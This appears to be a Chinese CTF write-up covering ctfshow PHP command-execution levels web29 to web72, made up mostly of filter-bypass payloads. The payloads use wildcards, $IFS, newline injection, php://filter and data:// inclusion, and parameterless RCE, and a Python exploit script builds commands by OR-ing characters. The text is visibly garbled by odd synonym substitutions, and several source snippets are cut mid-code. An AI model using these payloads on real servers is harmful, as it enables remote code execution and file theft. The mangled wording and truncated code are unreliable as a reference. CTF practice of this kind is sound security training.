发布于2022年11月4日3年前 php代码审计前奏之ctfshow之命令执行 想搞好代码审计,必需求搞懂其间一些风险函数风险应用,以及过滤不足,故以 CTF 来练习。web29~过滤关键字指令履行,需求严厉的过滤源码: error_reporting(0); if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }preg_match — 履行匹配正则表达式标题约束了不能呈现flag.结构?c=system(ls);页面回显:flag.php index.php绕过 flag ,通配符绕过。linux 中有一些通配符。*代表恣意字符 0个或多个?代表恣意字符 1 个[abcd]匹配abcd中一个字符[a-z]匹配范围 a-z还能够这样绕过fla\g.php fla''g.phppayload :?c=system('cat *'); ?c=system('cat fl?g.php'); ?c=system('cat f[a-z]ag.php');履行 payload 后源代码中有显现。另一种解法:eval — 把字符串作为PHP代码履行传入?c=echo "hello";?>结构:?c=echo "hello";?>得到一串base64 字符串,解码得到 $flag='flag{73c6fd37-47f1-47a4-a9a3-df83ae757139}'; web30~添加指令履行函数指令履行,需求严厉的过滤代码: error_reporting(0); if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }在上一题的基础上添加了过滤。flag、system、php可是咱们仍然能够用到其他函数进行替代。system() passthru() # passthru — 履行外部程序而且显现原始输出 exec() # exec — 履行一个外部程序 shell_exec() # shell_exec — 经过 shell 环境履行指令,而且将完整的输出以字符串的办法回来。 popen() proc_open() pcntl_exec() 反引号 同shell_exec()这儿需求注意一下,只要system函数是有回显的,其他的函数能够经过echo等显现?c=echo passthru("cat f*"); ?c=echo `cat f*`;或许?c=echo "hello"; include($_GET['url']); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php标题wp:echo `nl fl''ag.p''hp`;web31~过滤cat,空格指令履行,需求严厉的过滤源码: 1. cat被过滤 more:一页一页的显现档案内容 less:与 more 相似 head:检查头几行 tac:从毕竟一行开端显现,能够看出 tac 是 cat 的反向显现 tail:检查尾几行 nl:显现的时分,顺便输出行号 od:以二进制的办法读取档案内容 vi:一种编辑器,这个也能够检查 vim:一种编辑器,这个也能够检查 sort:能够检查 uniq:能够检查 file -f:报错出具体内容 grep 在当时目录中,查找后缀有 file 字样的文件中包括 test 字符串的文件,并打印出该字符串的行。此刻,能够运用如下指令: grep test *file paste 指令会把每个文件以列对列的办法,一列列地加以兼并。 2. 空格被过滤· {$IFS} $IFS$9 > < <> 重定向符 %09(需求php环境) {cat,flag.php} //用逗号实现了空格功能 %20 https://blog.csdn.net/whuslei/article/details/7187639 payload: ?c=echo(`tac%09f*`); 解法二: ?c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php 官方 show_source(next(array_reverse(scandir(pos(localeconv()))))); web32~文件包括绕过 又添加过滤了 反引号、括号,echo。 文件包括绕过 include require include_once require_once payload: ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php web33~文件包括绕过 源码: 多过滤了一个双引号, 直接用上一题的 payload: ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php web34~文件包括绕过 源码: 过滤多了一个冒号,也是上一关payload 。 ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php web35~文件包括绕过 多过滤了<、=。没啥用,直接打 ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php web36~文件包括绕过 error_reporting(0); if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } 多过滤了数字,持续打。 ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php web37~data协议 //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo$flag; } }else{ highlight_file(__FILE__); } 过滤了flag ,又是 include 文件包括 运用伪协议读flag data://,能够让用户来控制输入流,当它与包括函数结合时,用户输入的data://流会被当作php文件履行 payload: /?c=data://text/plain, web38~data协议 相同运用data协议。 ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs= web39~data协议 payload: ?c=data://text/plain, data://text/plain, 这样就相当于履行了php句子 .php 由于前面的php句子已经闭合了,所以后面的.php会被当成html页面直接显现在页面上,起不到什么 效果 web40~无参数读文件 |\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } 过滤了引号、$、冒号,还不能用伪协议。 一般括号里参数都要用引号,这儿学习一下无参数RCE(remote command/code execute)。 无参数的意思能够是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能带参数。 概况看这儿: payload: c=readfile(next(array_reverse(scandir(getcwd())))); # 多改写几次 c=readfile(array_rand(array_flip(scandir(getcwd())))); readfile(array_rand(array_flip(scandir(current(localeconve()))))); wp: c=session_start();system(session_id()); passid=ls web41~异或绕过 这个题过滤了$、+、-、^、~使得异或自增和取反结构字符都无法运用,一起过滤了字母和数字。可是特意留了个或运算符|。咱们能够测验从ascii为0-255的字符中,找到或运算能得到咱们可用的字符的字符。这儿先给出两个脚本 exp.py rce_or.php,咱们以后碰到能够运用或运算绕过的能够自己手动修改下即可。生成可用字符的集-合 =32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } } } fwrite($myfile,$contents); fclose($myfile); 大体意思便是从进行异或的字符中排除去被过滤的,然后在判别异或得到的字符是否为可见字符传递参数getflag用法python exp.py # -*- coding: utf-8 -*- import requests import urllib from sys import * import os os.system("php rce_or.php") #没有将php写入环境变量需手动运转 if(len(argv)!=2): print("="*50) print('USER:python exp.py') print("eg: python exp.py http://ctf.show/") print("="*50) exit(0) url=argv[1] def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:")) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print("\n[*] result:\n"+r.text) https://blog.csdn.net/miuzzx/article/details/108569080 web42~ /dev/null 2>&1"); }else{ highlight_file(__FILE__); } payload: c=ls; c=cat flag.php; web43~ /dev/null 2>&1"); } }else{ highlight_file(__FILE__); } 过滤分号和cat运用 换行符%0a ?c=ls%0a ?c=tac flag.php%0a 说一下为啥system()函数要用的分号或许切断,由于不必的话输入的句子就和后边的>/dev/null 2>&1拼接起来了。毕竟不关输入啥都会把成果输出到/dev/null。 概况看这儿: https://www.cnblogs.com/520playboy/p/6275022.html web44~>/dev/null过滤; cat flag /dev/null 2>&1"); } }else{ highlight_file(__FILE__); } 过滤;、cat、flag 结合前面的,直接: ?c=tac f*%0a web45~>/dev/null多过滤空格 /dev/null 2>&1"); } }else{ highlight_file(__FILE__); } 多过滤了个空格。 payload: ?c=tac%09f*%0a ?c=tac$IFS\f*%0A # 这儿 f 前面不加 反斜杠的话就出不来,或许是会被前面的解析到一起吧。 ?c=more${IFS}f*%0a IFS: https://www.xuebuyuan.com/3197835.html web46~多过滤数字 $ * /dev/null 2>&1"); } }else{ highlight_file(__FILE__); } 多过滤了数字、$ 、* 意味着不能用shell中变量了。 payload: ?c=tac%09fla?.php%0a nl web47~多过滤读取函数 /dev/null 2>&1"); } }else{ highlight_file(__FILE__); } 多过滤了 more 、less 、 head 、sort 、tail 。 可是 tac 、od 、uniq 等没被过滤 od 读文件 https://www.cnblogs.com/wfwenchao/p/5188720.html payload: ?c=tac%09fla?.php%0a ?c=nl%09fla?.php%0a ?c=nl web48~多过滤函数 /dev/null 2>&1"); } }else{ highlight_file(__FILE__); } 多过滤了一些读取函数。 payload: ?c=tac%09fla?.php%0a ?c=tac web49~多过滤反引号 /dev/null 2>&1"); } }else{ highlight_file(__FILE__); } 多过滤反引号。 payload 同上关相同。 web50~多过滤% x09 x26 /dev/null 2>&1"); } }else{ highlight_file(__FILE__); } 多过滤%、09、26 ?c=tacfla\g.php%0a''g.php%0a> web51~多过滤tac sset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c.">/dev/null 2>&1"); } }else{ highlight_file(__FILE__); } 这回额定过滤了tac,可是咱们还能够用nl ?c=nl web52~多过滤重定向符但没过滤 $ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\ system($c.">/dev/null 2>&1"); } }else{ highlight_file(__FILE__); } 额定过滤了 重定向符< >,可是这儿没过滤$ 去查?c=nl${IFS}fla\g.php%0a得到$flag="flag_here";得到了一个假的flag. 查询根目录有啥文件 ?c=ls${IFS}/%0a # bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var ?c=nl${IFS}/fla''g%0a web53 |\ 也没多过滤啥。。 ?c=ls%0a得到 ls flag.php index.php readflag readflag payload: ?c=ls%0a ?c=nl web54~/bin/?at 绕过 |\ 多过滤了一些检查文件指令。 payload: ?c=paste${IFS}fla?.php%0a ?c=/bin/?at${IFS}f?ag.php%0a ?c=/bin/?at${IFS}f??????? web55~过滤一切小写字母 |\ 直接过滤了一切小写字母!!!。 那么这儿肯定是要无字符 rce 。 可是这儿没有过滤通配符,所以能够找到一个带有数字的指令,运用通配符履行指令。base64的运用有个指令是/bin/base64,咱们能够据此结构 ?c=/???/????64 ???????? 得到 PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMg QERhdGU6ICAgMjAyMC0wOS0wNyAxOTo0MDo1Mw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhh DQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDcgMTk6NDE6MDANCiMgQGVtYWlsOiBo MXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxh Zz0iZmxhZ3tlYTY0MTJlZi03NGY3LTQ1ZjItYWJiYS05M2Y2ODZkOTkwZDh9Ijs= 解码即得到flag.bzip2 bzip2 是 linux 下面的压缩文件的指令。在/usr/bin/bzip2结构 ?C=/???/???/????2 ???????? 然后访问flag.php.bz2下载即可获得 flag.php临时文件上传https://www.gem-love.com/websecurity/1407.html https://blog.csdn.net/qq_46091464/article/details/108557067 web56~临时文件 |\ 多过滤数字,所以用不了上题的前两种办法。这儿只能详细写一下上题的第三种办法了。 咱们能够经过post一个文件(文件里边的sh指令),在上传的过程中,经过.(点)去履行履行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(能够经过linux的匹配符去匹配)注意:经过.去履行sh指令不需求有履行权限 咱们需求结构一个post上传文件的数据包。 POST数据包POC文件名: 抓包,结构?c=.+/???/????????[@-[] web57~结构数字 |\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){ system("cat ".$c.".php"); } }else{ highlight_file(__FILE__); } 这儿只需求结构 传参 36 即可,可是数字字符都被ban了。 paylaod $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~ $(())))$((~$(())))$((~$(()))))))) linux echo 一下是 36. web58~readfile读取 post结构c=system('ls');成果 Warning: system() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1 system 函数被 ban了 Warning: shell_exec() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1 结构c=print_r(scandir('.'));.得到 Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php ) payload: c=readfile('flag.php'); web59~show_source读取 同上关可是, Warning: readfile() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1 测验其他读取文件函数 c=show_source('flag.php'); web60-65~show_source读取 payload: 同58相同 web66~highlight_file读取 // 你们在炫技吗? if(isset($_POST['c'])){ $c=$_POST['c']; eval($c); }else{ highlight_file(__FILE__); } 用曾经办法 Warning: show_source() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1 c=highlight_file('flag.php');成果 $flag="秀秀得了,这次不在这儿"; c=print_r(scandir('/'));回来 Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag.txt [7] => home [8] => lib [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var ) 有个flag.txt ,结构 payload: c=highlight_file('/flag.txt'); web67~var_dump打印 找目录,发现 Warning: print_r() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1 用c=var_dump(scandir('.')); array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(9) "index.php" } c=highlight_file('flag.php');又是假的。 毕竟 c=highlight_file('/flag.txt'); web68~include读取 翻开标题直接 Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19 阐明highlight_file函数被禁用了。 c=var_dump(scandir('/'));得到 array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" } 有个flag.txt readfile、show_source、highlight_file被禁用了. 读取不了,可是咱们还能够直接文件包括。 payload: c=include('/flag.txt'); web69~var_export打印 相同是 Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19 var_dump 也被禁用 Warning: var_dump() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1 var_export — 输出或回来一个变量的字符串表示 用c=var_export(scandir('/'));得到 array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flag.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', ) payload: c=var_export(scandir('/'));` c=include('/flag.txt'); web70~var_export+include 直接: Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14 Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15 Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21 你要上天吗? payload: c=var_export(scandir('/')); c=include('/flag.txt'); web71~exit(0); 绕过后边代码 Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14 Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15 Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24 你要上天吗? c=var_export(scandir('/'));得到 ???????: ?????_?????????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_???() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ????? ( ? => '.', ? => '..', ? => '.?????????', ? => '???', ? => '???', ? => '???', ? => '????.???', ? => '????', ? => '???', ? => '?????', ?? => '???', ?? => '???', ?? => '????', ?? => '????', ?? => '???', ?? => '????', ?? => '???', ?? => '???', ?? => '???', ?? => '???', ?? => '???', ) 你要上天吗? ......发现有个附件,下载翻开: error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗? if(isset($_POST['c'])){ $c=$_POST['c']; eval($c); $s=ob_get_contents(); ob_end_clean(); echopreg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?> 你要上天吗? 代码把输出的字母数字都转化为问号?. 咱们能够是服务端履行完咱们的歹意 payload 后就中止运转 php 程序。 所以能够c=var_export(scandir('/'));exit(0);使得后边的代码中止履行,从而不会被正则替换。 payload: c=var_export(scandir('/'));exit(0); c=include('/flag.txt');exit(0); web72~open_basedir 下载附件: error_reporting(0); ini_set('display_errors', 0);
创建帐户或登录后发表意见